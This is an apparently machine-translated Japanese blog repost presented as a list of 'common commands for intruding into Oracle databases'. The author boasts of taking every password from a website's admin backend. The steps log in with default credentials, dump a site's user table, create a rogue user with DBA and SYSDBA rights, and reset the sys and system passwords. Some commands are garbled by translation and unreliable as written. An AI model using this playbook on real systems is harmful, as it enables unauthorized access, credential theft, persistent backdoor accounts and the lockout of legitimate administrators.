Oracleデータベースに侵入するための一般的な操作コマンド

最近、Oracle データベースを使用するサーバーに遭遇し、Oracle について学び、専門家に相談した後、最終的に Web サイトのバックグラウンド管理インターフェイスのすべてのユーザー パスワードを取得しました。オラクルは操作が面倒だったので、今後遠回りしないように侵略に必要なコマンドを整理してみました。 

1. su - oracle は必要ありません。DBA パスワードがない場合の使用に適しており、パスワードなしで sqlplus インターフェイスに入ることができます。 

2. sqlplus /nolog または sqlplus system/manager または ./sqlplus system/manager@ora9i; 

3. SQL>connect / as sysdba ; (sysoper として) または 

connect external/oracle AS SYSDBA ; (scott/tiger) 

conn sys/change_on_install as sysdba; 

4. SQL>startup; データベース インスタンスを開始します 

5. 現在のすべてのデータベースを表示します: select * from v$database; 

select name from v$database; 

6. desc v$databases; データベース構造フィールドを表示します 

7. 表示方法ユーザーは SYSDBA および SYSOPER 権限を持っています: 

SQL>select * from V_$PWFILE_USERS; 

Show user; 現在のデータベース接続ユーザーを表示します 

8. テスト データベースを入力します:database test; 

9. すべてのデータベース インスタンスを表示します: select * from v$実例; 

例: ora9i 

10. 現在のライブラリ内のすべてのデータ テーブルを表示します: 

SQL> select TABLE_NAME from all_tables; 

select * from all_tables; 

SQL> select table_name from all_tables where table_name like '%u%'; 

TABLE_NAME 

------- -- --------------------- 

_default_auditing_options_ 

11. テーブル構造の表示: desc all_tables; 

12. CQI.T_BBS_XUSER のすべてのフィールド構造の表示: 

desc CQI.T_BBS_XUSER; 

13 CQI.T_BBS_XUSER テーブルのレコードを取得します: 

select * from CQI.T_BBS_XUSER; 

14. データベース ユーザーを追加します: (test11/test) 

テスト デフォルト テーブルスペース ユーザーによって識別されるユーザー test11 を作成します Temporary TABLESPACE Temp; 

15. ユーザー権限: 

Grant connect,resource ,dba を test11 に; 

sysdba を test11 に付与; 

コミット; 

16. データベース ユーザーのパスワードを変更します: (テストする sys とシステムのパスワードを変更します。) 

alter user sysidentified by test; 

alter user systemidented by test; 

おすすめ

転載: blog.csdn.net/std7879/article/details/125447669